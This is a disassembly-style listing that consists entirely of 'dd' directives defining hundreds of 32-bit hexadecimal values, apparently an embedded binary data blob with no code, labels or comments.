		dd 0C88B3132h, 389A00DEh, 5F083F42h, 0B161069Eh, 0D9FEC238h
		dd 0BA5BDFF8h, 0FD185044h, 0E328240Ch, 0E7AC80CCh, 0EBD50BEFh
		dd 0A1403730h, 0C45F9Eh, 5751F433h, 0C00AFF1Ah,	46FD897h
		dd 0C797AB8Bh, 90FC97E5h, 0F1E27B3Dh, 811CE7E2h, 7D0135A9h
		dd 0C78FB0F7h, 9E001032h, 0EC6EDF07h, 4A00B6BBh, 0A90385E6h
		dd 4AB25h, 0CF52932Eh, 0C19266E0h, 1F47C801h, 69150D4h
		dd 0C043A0E0h, 0C3AF6711h, 0C218DDCCh, 0D7C972C4h, 0A1B00A0h
		dd 158E3BDh, 413CF8AAh,	2B111FAEh, 53FEB403h, 0FCF9E004h
		dd 5F29DD09h, 0F33F03B5h, 0B0D74061h, 6D0CAE20h, 0BA385B01h
		dd 2DE924Bh, 0BED6E8h, 0B5D76B7Fh, 2961B425h, 0E0FE163Ah
		dd 0B9716638h, 0EAAD00FCh, 8ADF0239h, 4B0089BBh, 0B4285F04h
		dd 6588860h, 7271E406h,	0FC0520AEh, 50057821h, 46F3203Ch
		dd 0B5CB035Bh, 0A6659653h, 14810030h, 30EA0DC0h, 0E21DB221h
		dd 7D1820F8h, 0CA821h, 7C0845C0h, 592F538Ah, 0ED75F303h
		dd 6BD0671h, 0CF432568h, 0EC00D8E5h, 0ED6E887Eh, 0C1DC7649h
		dd 0BA33C220h, 0C4A400D0h, 604AFAB3h, 4B6160C8h, 5009613h
		dd 0CFCCA642h, 185FEBh,	91B760CBh, 0A4BB83DEh, 31C04B30h
		dd 0E85BF75h, 8AA68045h, 0B0078427h, 0D2581DC1h, 4D2FC81Ch
		dd 0FE6FC700h, 0EE67020h, 0B8E20656h, 0DCAC4FE0h, 7160973Eh
		dd 7AF8B7E1h, 51300059h, 23C3B899h, 72395F4Fh, 17AD0058h
		dd 67D722EEh, 0A57E031Bh, 0EFAF18A8h, 0E96F39D8h, 203B8780h
		dd 6003E2A2h, 0AF438885h, 0B11000EAh, 65375608h, 0AE7966D9h
		dd 61E89D70h, 91CB500h,	0A861024h, 7DB91985h, 821708F2h
		dd 24013F21h, 53046036h, 6C132439h, 18CB0C34h, 9631ED08h
		dd 0B4E1C966h, 0ACEC0880h, 0D2EABD4Dh, 631598A8h, 9E3F390Dh
		dd 0DD05911h, 31726Eh, 361C575Fh, 81B4C65Bh, 5CB8C200h
		dd 0B1717ED0h, 0A5391C5Eh, 1F140FD9h, 610ADCEFh, 0C26C8024h
		dd 2E0D8D54h, 0CED32600h, 0ECA4803Dh, 239401EDh, 4441EBEEh
		dd 4CD99C86h, 5C06C102h, 62CC800Fh, 7A77EE6Ch, 1240FE57h
		dd 8937BAh, 36641898h, 0DD1862BFh, 1FF045D4h, 6149E2FDh
		dd 54D5D9B8h, 414E6071h, 3665D219h, 2180C909h, 6A714CF5h
		dd 322A0C05h, 16019463h, 0F6B7561Ah, 0EC432E11h, 0EED9801Fh
		dd 10016151h, 8BB6E606h, 93FCE0h, 8C64D2C0h, 0C8D00BDh
		dd 7CE3DDC9h, 0B7011517h, 557B26B5h, 61837697h,	9F6AE8A0h
		dd 6B8C9588h, 51B21200h, 3922312Fh, 0E55903FCh,	36C2C0B8h
		dd 9C89D2D0h, 8C23CB07h, 10D9A26Ah, 806119DCh, 0D1C0BD4Ah
		dd 172E0847h, 244F3BE1h, 37B1D885h, 4198006Fh, 620E73B2h
		dd 9000C27Eh, 0FC85EC14h, 88C44B7Eh, 0E400FE7Ch, 0A1013BB7h
		dd 241A30AAh, 1E632BF4h, 81C44337h, 0C801647Fh,	8D82EC05h
		dd 4FD8B3FEh, 5D200414h, 8C92BDC9h, 0ED0FC000h,	6843DFh
		dd 491A22E8h, 0EA33070Fh, 61888B69h, 44452D8Ah,	4FF80AF0h
		dd 0C16E6094h, 2203A099h, 4EA5DE73h, 0CE0FA809h, 0E70205B8h
		dd 87ED1E9Fh, 0FE55A154h
		dd 666420C1h, 0E620FB7Ah, 52FC00BBh, 8936921Ch,	98FC77B3h
		dd 838B1800h, 881BC232h, 45C30285h, 0B9DE3326h,	3770C840h
		dd 0E5C11663h, 0D14900C2h, 0DB8AE73Ah, 9E4CCC22h, 1B007514h
		dd 9BB24478h, 488312D6h, 9D1944C7h, 0E0B64102h,	0CC0070BCh
		dd 58EC908h, 0A49D0BFAh, 3D7A3F90h, 1C830074h, 2CAA507Eh
		dd 2600704Eh, 0C8917481h, 2CD3Eh, 36C07F88h, 0AC08D201h
		dd 4903B014h, 1ED080DCh, 1E5E731Ch, 803C7052h, 0B4E00519h
		dd 0BA58B547h, 5671608Ch, 647920h, 0DF82566h, 0B8CB39BEh
		dd 2801B604h, 0A4970911h, 0F1EC0E03h, 6034AF16h, 0CCBF2063h
		dd 821DC200h, 0E56FE3DEh, 7C90A8B7h, 41520138h,	2CBA85C9h
		dd 0D3B04791h, 0B8A0632Bh, 1603235Fh, 0D9952F56h, 98407681h
		dd 0BDD50998h, 0B00E2D5Ch, 808D5AA5h, 60F56FDFh, 0C2417106h
		dd 3C1109Eh, 0AB31721Bh, 0D09885C5h, 89000FC7h,	0B049FCCFh
		dd 4C97CDh, 0C6AF05E0h,	0E4D16B9h, 5DC41101h, 33A7141h
		dd 33854983h, 0D002C22Eh, 77923EC1h, 0BD944079h, 5E860918h
		dd 388232ADh, 0EE008A5Fh, 604F3A70h, 0A75440AFh, 4609CF2h
		dd 0B9E64551h, 4F241FA1h, 190518F7h, 31009F2Ch,	73CF7992h
		dd 0E11BB47h, 0C71E54Fh, 7C8805C0h, 5C991EF2h, 0BA18CD79h
		dd 1C8F3109h, 137C80A3h, 2D59DE2h, 0A09C9CAh, 70401ED9h
		dd 6CB0E378h, 8954DA0Ah, 605F03Fh, 0DC42B1E5h, 0C178BACDh
		dd 0E430AD40h, 60E89A2Fh, 0B2EE21CAh, 0D2004A78h, 0C8D74968h
		dd 982BBDFBh, 2C7898C0h, 8E5CD38Ch, 0E2896A94h,	0B100180Fh
		dd 0DE9E69ECh, 196410C0h, 19BEB9DCh, 0C9BCE7BDh, 32C46108h
		dd 78BA26C0h, 130CC80h,	20528AB0h, 8539AE62h, 0D8E3A86Bh
		dd 11C814A1h, 4834340Bh, 747003ADh, 0C54B41D3h,	0BDCF611Eh
		dd 0F9D57780h, 1445CF2h, 6BB41AABh, 304BCC8Ah, 1843DFCh
		dd 3790A6ECh, 22FC21Eh,	722941B4h, 0D1752180h, 1BB225CFh
		dd 0ED3F3Fh, 1EDC0BC7h,	9AF6B68Eh, 9CEF5490h, 0BAE533BCh
		dd 0ABA93E89h, 0E242070h, 56504A50h, 779CEE07h,	9880436Dh
		dd 73696BF7h, 0BDA0905h, 6E06BEC2h, 0F503885h, 1730919Fh
		dd 70971071h, 8A48C1B6h, 24D2AA42h, 0A3206BD4h,	8CEC00C7h
		dd 7BA66863h, 2A70650Ch, 0E8BD541Fh, 551481B0h,	0F5F61837h
		dd 827BF020h, 607C0731h, 8020B2F1h, 0D6B40B3h, 9EFBC901h
		dd 0EE3F1748h, 1DDE424h, 862A4E96h, 74DCA363h, 36246A70h
		dd 0AE8B04D4h, 0D68B0B8h, 86141124h, 8015882Ah,	2240543h
		dd 0C105EF3Ch, 6B97E845h, 574FC040h, 0F0830Fh, 77243FC2h
		dd 9C208242h, 0A41BACA8h, 849D2216h, 0B08B4030h, 0C59C3988h
		dd 0E93BD000h, 57D32E63h, 9F897D01h, 0A64DF0F2h, 0A447F825h
		dd 57C43009h, 3EBD1171h, 87CF8859h, 0D0714FF8h,	0F0E946F4h
		dd 3908A20Fh, 0A80D4AEEh, 634E4800h, 174D0F29h,	6EC841h
		dd 8A8560B9h, 24015D4Bh, 39EAB426h, 9847C586h, 0FC30A079h
		dd 3E77372Eh, 3E0AB25Dh, 83CCF382h, 0D9E45ADh, 0C8A6E100h
		dd 0D1D6E3EBh, 5A9700F2h, 0AD47D705h, 25055506h, 39716F88h
		dd 0FBB4888h, 26E928C7h, 0AC992149h, 0B7AF6079h, 3644B1Ch
		dd 0AC16A4C7h, 20837F60h, 0F35D0271h, 84B3C42Dh, 249A5F61h
		dd 2203FCECh, 23BA386Ah, 0AEA00061h, 14CCED5h, 0B52574ECh
		dd 362480BDh, 0A00A55E6h, 189A428Ch, 0D0E00CB7h, 31FA1035h
		dd 0FD2A1E00h, 70B567D6h, 8B129C5h, 958E220h, 81BC0232h
		dd 11E40822h, 715680FFh, 8C513EBCh, 3F7CC44h, 706E714Eh
		dd 6CA8776Bh, 0E61037F4h, 400F2631h, 407296BDh,	0EB111A44h
		dd 9C0EFE88h, 74A17B6h,	2183375Ch, 36300E25h, 950F0C4h
		dd 90CD0115h, 2206F450h, 2B00BF4Ah, 55F421Dh, 77CF7543h
		dd 3C99F8CEh, 74A88A3Eh, 0C10724A8h, 8F8B08C4h,	7AE21400h
		dd 38C373FEh, 900FEE36h, 1F801986h, 522F71A2h, 6A754C03h
		dd 0CE40AEh, 18D0FF10h,	93B23E96h, 4148656Fh, 0D14E51EAh
		dd 0B58BE441h, 0A81A72D0h, 489D7DECh, 0C432E6F0h, 0C82FE28h
		dd 0E120EC75h, 0B0F6489Ah, 8048948Ch, 6D282F5Ch, 9C0122AAh
		dd 0C3A6BBC4h, 2180259Eh, 0F203C916h, 4F05BC8Fh, 4ADDD049h
		dd 3EA0888h, 4685FCCh, 2BE31BE7h, 8E51900h, 0AB716E84h
		dd 74320091h, 97E2AC35h, 6800C863h, 0C75A8C1Ah,	0F8EE4C5h
		dd 96E8B5D1h, 8F9D03FFh, 99C3B7D4h, 31E08E00h, 9FDCB889h
		dd 0F9B50AC6h, 5114CBA4h, 0DFBEE093h, 0E3CB30C1h, 0DCF0D29Ah
		dd 9EC44095h, 0F4BFD100h, 0E6B6CA8Eh, 0FF691F5Fh, 0C6D740E8h
		dd 0C1C55A8Bh, 1860F837h, 0C7CA9940h, 0D69B0EE2h, 809BEAC6h
		dd 7C2283Ah, 0CBCDA2F7h, 0C5D59040h, 0BE78C3F8h, 310D92DCh
		dd 59CBD4A5h, 0A6A1DEC4h, 8431520Ch, 0E6C2007Bh, 0F9CACE8Eh
		dd 88A0D59Ah, 0BF28D0A5h, 0E5E814DDh, 0E41E89E6h, 3A1D188Dh
		dd 68182358h, 0A4070357h, 30860169h, 0E3F33100h, 635890F0h
		dd 3B6ECD7h, 0B03EE485h, 7AB0F694h, 6C7AED82h, 0A2F89F07h
		dd 0FAD0EB33h, 0E189066h, 6A59016Dh, 0EE82960h,	0E3303AAAh
		dd 3BD7B9FBh, 1F0B074Fh, 60592807h, 1A99B16Dh, 30B57D39h
		dd 9AA1981Bh, 1069E8ADh, 1E2E9B96h, 0A0344B63h,	0B2651848h
		dd 1707AC68h, 33628C88h, 500572D1h, 592A6D3Ch, 87952C07h
		dd 66118848h, 1567180Fh, 6A510640h, 3B387696h, 69B30C4Fh
		dd 590C34B8h, 301C2518h, 79246750h, 63311C41h, 0BC59E560h
		dd 7A389B13h, 0A7421856h, 0EC89402Fh, 0A185800Ah, 9411D033h
		dd 0CC622288h, 0EBEE3098h, 31FE8431h, 0B9832D64h, 37321B2Eh
		dd 2F9B6801h, 86031449h, 0E81A453h, 0D3B445F1h,	2033A384h
		dd 31379D25h, 19301332h, 1814CB35h, 2A4C8D65h, 680C5809h
		dd 9136081Fh, 38E312F2h, 39181BA9h, 0EFFF5BE1h,	30128683h
		dd 4A8450h, 0AE954C1Bh,	6DE84458h, 952191C3h, 188FA1F7h
		dd 492839BEh, 107C42A4h, 24AC300Bh, 0B86C7493h,	0C8BC42ACh
		dd 8AE04218h, 0C46E9015h, 50663A5Bh, 0F8211E42h, 7123425Ch
		dd 47F08C43h, 428E9043h, 428D792Dh, 42145393h, 50802337h
		dd 10855FDBh, 0D4988839h, 44455721h, 0E4F0234Ch, 6487213Fh
		dd 9F082251h, 38B30A50h, 8863C4F0h, 0E94D7250h,	20E4116Ch
		dd 5FC96048h, 914934A3h, 0A36088FCh, 7C184E1Ah,	0E48C4361h
		dd 3801B08h, 1271B743h,	1458C896h, 1A099198h, 0F78CFC6h
		dd 32212290h, 6A484323h, 110AA46Bh, 4C8BF8E4h, 48839643h
		dd 89209849h, 62E83744h, 154F9967h, 0F8813CB0h,	827F40C8h
		dd 84EF1EA1h, 6324E844h, 3165DC37h, 1B41A826h, 21E948B9h
		dd 265A6DF1h, 23890A4h,	204FF901h, 0C90B008Ah, 0C007CB90h
		dd 0C789A5DCh, 0A88098F5h, 0E9D79AABh, 0E0D6E460h, 0C5A900F6h
		dd 0C87C7F24h, 517CE6C3h, 940BF9F2h, 0E3C689h, 99F7FAECh
		dd 0ABCB1DD0h, 28BE1B93h, 0CA9B110Fh, 0C48F80C6h, 5C92DDC1h
		dd 94390489h, 0A8E9FA8Fh, 1396B90Fh, 9FF00FE8h,	0CC0A7711h
		dd 7C8B9CEAh, 705F0423h, 9F24BCEEh, 9E00B4C4h, 95F3C88Bh
		dd 0C18A569h, 22114918h, 46D39516h, 99C50000h, 0B67F2E3h
		dd 0B385590Eh, 52FF8427h, 0B0E313D6h, 35E46AE0h, 0BC0B7C9Ah
		dd 809458FBh, 16CEB38h,	20BCB8B8h, 0B6041ED4h, 0DB4C0C5Ah
		dd 2073F0C2h, 5EED2BA1h, 5DB6D400h, 41E741Bh, 88071758h
		dd 6E68007Eh, 0BBDE4ED1h, 934F1C26h, 0BC188318h, 0B0CB37E3h
		dd 0C35CC570h, 810559A0h
		dd 0E9998BC4h, 1CCE1C90h, 1A08C6E2h, 4C02F9E4h,	16A5A83h
		dd 99D53009h, 1140B31Eh, 0EB03CF63h, 10750A5Fh,	0E6419C13h
		dd 0B168E418h, 625B28C2h, 7EDB31B8h, 96F10768h,	0AC3191F8h
		dd 0EB00920Bh, 0D563F994h, 19016D40h, 789A7150h, 2AD44834h
		dd 818C4752h, 29A3C277h, 4981601Eh, 940738E8h, 0F1A11E8h
		dd 0E2F108F2h, 2F1884A1h, 635AED80h, 0C07D7D2h,	0AABF7C6Eh
		dd 50892EC6h, 0C9594835h, 2838E908h, 64916971h,	9E1605Ch
		dd 7E94793Bh, 211C14F8h, 19C0503Fh, 0E687FCC0h,	0D69800E3h
		dd 0CA9FFBFAh, 903CF9B7h, 78E82CCCh, 5080BCC5h,	0B0DDC5D7h
		dd 1DABF854h, 13EBAA75h, 5B7C809Ch, 82291D6Ch, 55AC6055h
		dd 48512D00h, 0AC03CBD3h, 0B2141F04h, 0C4914B9h, 7F0708D0h
		dd 0C8E3BBD0h, 7D0A74A3h, 2F4708A4h, 863516C4h,	45530874h
		dd 0E449A4ACh, 0C1CC25F1h, 99AB1032h, 3012F524h, 306C0D25h
		dd 6909CA5Dh, 136F5910h, 0FF813AC3h, 7C084646h,	10707852h
		dd 413C91F1h, 0ABB9C4Dh, 0C81F188h, 0B2897442h,	7D50008Ch
		dd 0D7C7DFA6h, 1C4C4C28h, 16891B09h, 18241512h,	22911748h
		dd 24442122h, 121E8923h, 4820241Dh, 222A911Fh, 2B2C4429h
		dd 39F02689h, 0D9EA01C0h, 0D3E8B57Ah, 30C18C75h, 0A52EB865h
		dd 4179484h, 80ECABAh, 19694980h, 6252ECh, 67301F1Ah, 68328BEAh
		dd 0FDF0A974h, 31A4F600h, 52DD1962h, 0EF183EE0h, 73AE73Ah
		dd 0CE89876h, 0F71A612Fh, 1E3A540h, 87E38AC9h, 0CD3184B0h
		dd 0A08B1219h, 0FF489A82h, 0EAFF04D0h, 885664B2h, 0ECB98960h
		dd 0B38511BCh, 0C527CF2h, 4A3B838h, 81DBCCC4h, 0D3600069h
		dd 0C85FD9CBh, 18A05E09h, 57FD0485h, 150AE70h, 6F290933h
		dd 0C92A84CBh, 74104195h, 0E0384AEEh, 3495A95h,	95B295Eh
		dd 0F7E16DABh, 61188035h, 7FCFE647h, 26D30A30h,	1F1C33FFh
		dd 0B89300EDh, 51C65761h, 2F286552h, 81E4533Dh,	6FC7D6BAh
		dd 18288669h, 7C302A11h, 70D501A7h, 5FB8E1B9h, 7DBFE08Bh
		dd 0FBDF6900h, 0C8EBCB94h, 5280E57Ch, 0CACCC492h, 0E6E8A531h
		dd 0B5D59000h, 0C8D794D8h, 0C48E07E2h, 0C07E8BD9h, 0B6A5F9B9h
		dd 0A301B574h, 70E6BBD0h, 0E0D3D769h, 30F7B9ABh, 0A840D398h
		dd 9CF8C6D6h, 0E5C0B00Ah, 814F409Ah, 0E8C1D39Fh, 7C1AA8E0h
		dd 0B5CD1EC8h, 0B03029F7h, 9EDCBE98h, 41CC453h,	95DDB9B1h
		dd 0CA6E8B00h, 9F74F7C0h, 4260BE53h, 0BFDDACECh, 9639A444h
		dd 0E015F40Ch, 97188BCAh, 0D2CEA4ECh, 0CB8B65A0h, 69569EF2h
		dd 0F9BF0A2Ch, 0F807C494h, 0D0C0975Eh, 53EE8B8Dh, 8C3E38DCh
		dd 0D001BD38h, 0E9BFCD72h, 1494D290h, 6907408Eh, 0BD5BCFEEh
		dd 0C79ADFD0h, 548DE8B9h, 0E2CBF8CAh, 956326F3h, 0D6559Ch
		dd 0E6B688D9h, 0DFB77CC6h, 6985BC00h, 0D68DF8F5h, 26A5E8D1h
		dd 3934BDC4h, 5DF9B693h, 0F09E1E00h, 0CB833128h, 98CF49h
		dd 8D29AF4h, 27C58DB8h,	0F0D0E2CCh, 0CB8450C0h,	78D6548Bh
		dd 0A82099EEh, 95D0046Ch, 86F5C1D7h, 74AC50ECh,	5BBA0B1Ah
		dd 0D71CC591h, 40DB9562h, 2BFCB30h, 0CAB451F7h,	655590E7h
		dd 0F99298h, 9FE7FA58h,	54B0C8D0h, 0DB268B78h, 0F807D09Dh
		dd 0DE818D94h, 4089CE90h, 0C080D49Eh, 0EAC2D551h, 0D189A507h
		dd 104DA4DCh, 7F248C40h, 0BDC50290h, 0CBD09BE2h, 0C6C870C0h
		dd 8278FC98h, 0A0A1AB24h, 0D598DE06h, 0D1A53110h, 21D09360h
		dd 0C65882ACh, 55C49CE2h, 4007D863h, 0C5CAA8ABh, 0F0C89046h
		dd 0B52AF192h, 0D960AFD4h, 0E2A03194h, 0D0B32A9Eh, 0F828F5EFh
		dd 0F0E6E2CAh, 1D4BB89h, 0E7D2D35Bh, 3C606651h,	0B9AC009Dh
		dd 0CB8994E0h, 0B89F49F6h, 0B03DAED2h, 0AB5CC47Fh, 0DC448487h
		dd 0ABC0E880h, 0F9E0308Fh, 0E3C6CA30h, 0EEBF7CB0h, 0C3DE170h
		dd 1695ECAFh, 428EE6EBh, 0B7CB74C4h, 67C4B4C1h,	0BB8913E4h
		dd 0C0C70C62h, 58D9A498h, 0C43ADCB6h, 0DF74D848h, 0B5D60B28h
		dd 1C40C412h, 9C5B989h,	0C485DCCBh, 2CF3E429h, 82C0D650h
		dd 0A5E31D6Fh, 9AD220E0h, 94F8D474h, 0CA1F69DFh, 8B9DE80Eh
		dd 0DC2090CBh, 0A42CA59Eh, 80693E3Ch, 9FB00475h, 0F234C3h
		dd 8EABCC58h, 0A4FBBDCAh, 5BB099F9h, 184DDA80h,	5FD25020h
		dd 0AE0C6F0Fh, 9DEEBCC0h, 84B6AA8Dh, 0E1A3014Fh, 140E8BB5h
		dd 0E818F8F5h, 71C8B2F2h, 0C4A30AC6h, 7768F7C0h, 0D841B59Ch
		dd 0E7C6D499h, 5DC0D860h, 0E20264DBh, 0E6B7C49Dh, 0F86618ABh
		dd 0A8515088h, 0BC2EA3Ah, 0A2F9CCA4h, 5D99F420h, 0D2C4F068h
		dd 0BB1D449Eh, 0C0CA9804h, 314F3CF2h, 0D1C51AD4h, 0A3DDC4D5h
		dd 0DCCCD00Eh, 5B56F9Bh, 8CC0B3A5h, 5CBCC898h, 0D90E90DFh
		dd 0D58F78DBh, 0C505890h, 21C1D1A2h, 0A5F309B5h, 127FB9D7h
		dd 0E680C900h, 8B83C82Dh, 681CD97Ah, 0E0EEA67Eh, 2980C814h
		dd 4B76349Fh, 0A5EC0B6Eh, 348550EEh, 5FBFCDF0h,	799070F8h
		dd 0E750C0C8h, 0CA1DFAF0h, 0C600B081h, 0F9BFD79Fh, 0C2D21851h
		dd 0A9E621E2h, 0EACCD50Eh, 0C8C18A8Eh, 30878913h, 27E0664Bh
		dd 8008A931h, 5F106A38h, 0C803D99Fh, 7C7EF7CCh,	0C69835E8h
		dd 0D060F128h, 1C90D774h, 0E3C7DC80h, 20CD9833h, 0F9C5F894h
		dd 13AF9090h, 85CB9AE2h, 69E0DCB8h, 44A6C4A9h, 678C2180h
		dd 81F83989h, 95DDC1C3h, 0C5D8DEF3h, 1D9EF888h,	0A6510ADCh
		dd 0E8D820D0h, 9A7F0DFh, 0CE8EDCBEh, 0B90A048Fh, 0D6900080h
		dd 6B379FB5h, 0D5B0BB50h, 8589F0A9h, 0DACA9360h, 8B30DCF3h
		dd 0B8899C28h, 14C6E9C8h, 0DC9458D6h, 0B51964C4h, 0D7308E60h
		dd 0D48C76D1h, 0A1FB12B9h, 90440ACDh, 644C69F4h, 0D492F09Eh
		dd 30832013h, 0C1B3E0EAh, 66A57CF9h, 0C0ACE8B9h, 0E6C0F080h
		dd 0F55F1894h, 9302B4A4h, 60EAC7D5h, 2ED4EEDCh,	0FCCB98h
		dd 3EA324B6h, 0D03AF458h, 0A1630EA4h, 0EFF207h,	7056B0D0h
		dd 0B3035D84h, 13384CA3h, 9B2904A9h, 98CC2Fh, 921D331h
		dd 5C5A9DECh, 92C66806h, 1838B681h, 90169BE9h, 872594EFh
		dd 248F460h, 0A18406CBh, 89D16B00h, 0AD8C4EE6h,	0A50A752Ch
		dd 20D8EA72h, 8C76F778h, 0DC1ACF09h, 1F40D219h,	148F288h
		dd 35A7D5F0h, 7D099AE7h, 4808C021h, 0E9AB000Eh,	8959614Fh
		dd 706018A6h, 0CFFD0D21h, 0E882012Fh, 59EDE064h, 42B8F0E2h
		dd 0ACB48954h, 0F20326EAh, 16857502h, 9409300Bh, 2681CC21h
		dd 982E5207h, 0F100C0D9h, 808C2B50h, 0EDEE9E83h, 87951A38h
		dd 42AC7F80h, 34CB4A1h,	0E015C0h, 0CD5EEEA1h, 0BCAD1BAEh
		dd 0F71AC0A0h, 98E5382Bh, 0B60C7690h, 1A619228h, 81A494A0h
		dd 7811B4AFh, 0EB041C52h, 0BED277ACh, 0BDFEE880h, 3A6230F2h
		dd 0D0E96521h, 0CE00C1F2h, 1E02E8D1h, 7FD51DC7h, 4490A73Fh
		dd 78776795h, 81F8E60h,	2869CA30h, 0ECB907B8h, 2C0CC9EFh
		dd 0EA247D10h, 0FD56402Eh, 0F66C080Dh, 829D946h, 479A901Ch
		dd 772511A0h, 21245186h, 2854D00h, 559FF9AAh, 0C10C0025h
		dd 0CD51EE93h, 5009113Ah, 17CEF101h, 807E914Ch,	79BB9B9Eh
		dd 6C2E0683h, 0D029B6E6h, 3E741922h, 0C600C464h, 62E47B73h
		dd 1300C3C2h, 0B3365BB1h, 8225CADh, 2C504F32h, 57798EBAh
		dd 0F1336586h, 0B5E080FBh, 200793BEh, 5031E060h, 0F100199h
		dd 0A4019061h, 44B84770h, 2BD44069h, 4BEE7EDCh,	80F0EC59h
		dd 246CFBBCh, 4F633E56h, 1CC18695h, 21182988h, 3F9D68C1h
		dd 3800D0Fh, 0F3352A86h, 8900E8D3h, 96479148h, 0D04C7B8Dh
		dd 7CF8A488h
		dd 6BBB4C8Ch, 0DC83C000h, 5094B0F2h, 32812A60h,	71ADBEh
		dd 72BB5F7Bh, 0FBDC646Ah, 1F3E800Ah, 0B802B875h, 629DE8EBh
		dd 913CBD7Ch, 3A86DE7Dh, 0C8919E1h, 7A6017A1h, 207D9058h
		dd 0C3A9531Ah, 9CE27548h, 7DB01422h, 511DF40Ah,	9F29E289h
		dd 173888C8h, 173821FCh, 0ED18D7D1h, 0F0234875h, 0E7411BDh
		dd 8148E5A3h, 3C839D6Dh, 112878A4h, 268680B5h, 998D02F3h
		dd 7EC9C0B8h, 513B1B26h, 2BC204Eh, 0B4466AEEh, 888033BFh
		dd 0CCA2EBB5h, 10171F37h, 8A1BC2C0h, 30B14CA0h,	48FE3525h
		dd 0EC699760h, 0E82E5463h, 5BBF0051h, 0F6B4B8D2h, 0A464B087h
		dd 94F84208h, 5BB76F00h, 0AF2F9CEEh, 87BCF997h,	905599C2h
		dd 0E85C4F7Eh, 24A4830Ah, 6311A432h, 60B7F064h,	23F12688h
		dd 8F117D02h, 2680CB00h, 54CCC648h, 6FD3701h, 18FED565h
		dd 99AC48h, 6FD3BADBh, 0FAEBA4BBh, 0E63C8258h, 5B8330B4h
		dd 0F07ED288h, 3850B7F6h, 0F19DD3C4h, 36E7833Ch, 0DAE0D031h
		dd 0B704F835h, 2486120Ah, 0B05D54C2h, 301B2EA0h, 9D38A7A5h
		dd 9E499F07h, 45347C60h, 880718A9h, 513249B0h, 7B760A0h
		dd 28826184h, 0DA5913B8h, 40679A00h, 78519D23h,	7EE8C900h
		dd 192A5E7h, 0C1FC02D1h, 3B6D511Ch, 1C4880E2h, 8C7BE8h
		dd 0FA44B760h, 0DB78AF39h, 502C1248h, 18806CD4h, 0C631C76Eh
		dd 1CEDF08Fh, 0A00AB050h, 0FCFEBED8h, 939CEF61h, 4963A424h
		dd 8200243Fh, 0FA155CF3h, 0EEC4405h, 0C01D5FCh,	0D859017Fh
		dd 8C40B764h, 50E8E330h, 70A38081h, 8C57FB2Fh, 3A1C4C2h
		dd 22D22D1Fh, 743AC018h, 4E1C9AF0h, 9DD0BC4Eh, 0DAC52F80h
		dd 942485h, 0C2B505EFh,	713F4D62h, 1F93DC01h, 5A87C872h
		dd 1320B23Ah, 30BFFB02h, 2E100C24h, 228A0C9h, 3456B60h
		dd 1FDBC03Bh, 0BD2D7900h, 0E0B59FA6h, 2A1E0013h, 0FE7D6ABAh
		dd 0E4AC7CDAh, 0EBB6C606h, 0D07F50h, 3A3397C2h,	3B48B94h
		dd 59E4FE50h, 386348A8h, 0F55AD1C0h, 50883BBh, 7CF7307Ah
		dd 0A85454ECh, 8A01B123h, 0AD02EF26h, 0C5889218h, 33260082h
		dd 0F7ED7B64h, 0E0A1FD03h, 6DA9801Fh, 72876901h, 64E5583Ah
		dd 8444C090h, 16440AFh,	1B57EC12h, 8FCC0011h, 3962CCC5h
		dd 0C9F40EB3h, 0E42076D6h, 21F130Fh, 8E78389Bh,	0E3407B9h
		dd 0BFEEA637h, 58B0404Dh, 0A5136F84h, 70AE487Bh, 478CED08h
		dd 0C704251h, 340005E0h, 7AFA5F13h, 314708Ah, 0B2E352F1h
		dd 949072F0h, 904C5197h, 8C98ECD4h, 88CF089Fh, 411B884Ch
		dd 1CD82644h, 39301FA1h, 56998Ch, 0C2AE5C85h, 0B3AC3291h
		dd 7C370916h, 308A8049h, 35C4895Ch, 624820D7h, 0E0847060h
		dd 4645419h, 9348F3B6h,	0F9EC84B4h, 0EBC80804h,	0D15BBEC0h
		dd 22BC46B8h, 0B66E0747h, 32AD685Bh, 4E60814Eh,	214831B8h
		dd 80AC4E09h, 9004A28Bh, 48EF60D5h, 0CDF0258Ah,	0A1795896h
		dd 58554800h, 0DAE8BB3h, 0B04500ADh, 9CBA532Eh,	630799B4h
		dd 0CD2974ACh, 15820660h, 9D8F091Eh, 8105767h, 88A032D3h
		dd 4934AEEh, 463B9424h,	8B48F00Eh, 71C4C568h, 48E8A240h
		dd 0C678BA23h, 87B9910Eh, 155045C7h, 5B5DAC40h,	106F36BBh
		dd 10382AEBh, 0E5887A1Ch, 0CF5BBCC0h, 22CC46B8h, 0B4740049h
		dd 9039415Bh, 48B355A3h, 0E8E5D701h, 23E8BF88h,	502095Eh
		dd 0E04EE91h, 0C4C8905Ch, 0C7812133h, 7E165066h, 0B84C60BFh
		dd 0BA425D1Bh, 52EE9301h, 50C7B403h, 23956F9Ch,	54938FECh
		dd 1709A581h, 4880773Ch, 0FDC05D99h, 96B819ECh,	3C841329h
		dd 48F44E02h, 268CC59Fh, 8E410A98h, 49B70A40h, 307A249Ch
		dd 20F33620h, 46CA9641h, 0D8745828h, 0E4990F30h, 0CC13D098h
		dd 9C6027FDh, 4F4FC481h, 0D40CB9F7h, 1B223E0h, 2F0268Bh
		dd 889118A5h, 263B83C6h, 0FC12804Bh, 0D0A7B5B6h, 2C1716A3h
		dd 0C8502198h, 1FA44C9Bh, 180E5431h, 0C400A93Ch, 514E818Bh
		dd 0FA003CB9h, 0A1C0EED3h, 653355C8h, 280999h, 0EEDBDA21h
		dd 0B002C964h, 0A4ED4605h, 8462D147h, 0D9AC4175h, 0D2ED4719h
		dd 644CEDF0h, 1A58044h,	0E6AE48EBh, 306E4AB8h, 3754176Ch
		dd 4D0F95A4h, 8291344Ch, 4609B8Ch, 205CCD7Dh, 5C4067ACh
		dd 0B82D56EBh, 93E88C48h, 9E2B08Ch, 285B247Ah, 8B910804h
		dd 0A2A05314h, 0CDB23043h, 35581FFAh, 0E7AC0D58h, 0FC21E834h
		dd 2808C28h, 0FA600BB8h, 0CC734500h, 366DCBFCh,	1F0700A7h
		dd 5A3D9940h, 0C44C91CEh, 68943658h, 3ADC09F0h,	184C6819h
		dd 84E1DB29h, 21189779h, 2994200h, 0C2F1F5E4h, 0B95A2994h
		dd 3CB200B0h, 66D5F22Eh, 8A00F1E4h, 484CF83Eh, 0C5D4F11h
		dd 35573AA7h, 21C0DB08h, 0CD484513h, 11530E4Fh,	4060419Fh
		dd 57C52E1h, 18FCF000h,	0E64CDC85h, 4F8E007Bh, 0EF48CDACh
		dd 0B96311F3h, 0D03CB1D8h, 0CF27A584h, 4A230A18h, 0D8E0AFEAh
